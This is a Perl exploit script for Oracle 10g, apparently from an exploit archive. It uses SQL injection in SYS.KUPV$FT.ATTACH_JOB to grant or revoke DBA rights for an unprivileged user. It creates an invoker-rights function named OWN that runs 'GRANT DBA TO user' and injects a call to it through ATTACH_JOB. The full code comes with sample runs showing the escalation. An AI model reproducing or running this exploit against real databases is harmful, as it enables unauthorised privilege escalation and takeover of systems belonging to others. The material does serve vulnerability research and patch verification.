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Oracle 10g KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission Exploit
================================================================= Oracle 10g KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission Exploit ================================================================= #!/usr/bin/perl # # Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g) # # Grant or revoke dba permission to unprivileged user # # Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" # # REF: http://www.securityfocus.com/bid/16294 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Thu Feb 22 17:18:55 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # # # bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupv-ft_attach_job.pl line 61. # [-] Done! # # bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -g # [-] Wait... # [-] Creating evil function... # [-] Go ...(don't worry about error)! # DBD::Oracle::st execute failed: ORA-31626: job does not exist # ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79 # ORA-06512: at "SYS.KUPV$FT", line 330 # ORA-31638: cannot attach to job ' AND 0=BUNKER.own-- for user # ORA-31632: master table ".' AND 0=BUNKER.own--" not found, invalid, or inaccessible # ORA-00942: table or view does not exist # ORA-06512: at line 6 (DBD ERROR: OCIStmtExecute) [for Statement " # DECLARE # J BOOLEAN; # R NUMBER; # BEGIN # R:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 0=BUNKER.own--',J); # END; # "] at kupv-ft_attach_job.pl line 87. # [-] YOU GOT THE POWAH!! # # bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # [-] Done! # use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password -g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; } print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN(0); END; } ); print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare( qq{ DECLARE J BOOLEAN; R NUMBER; BEGIN R:=SYS.KUPV\$FT.ATTACH_JOB('',''' AND 0=$user.own--',J); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; # 0day.today [2024-12-25] #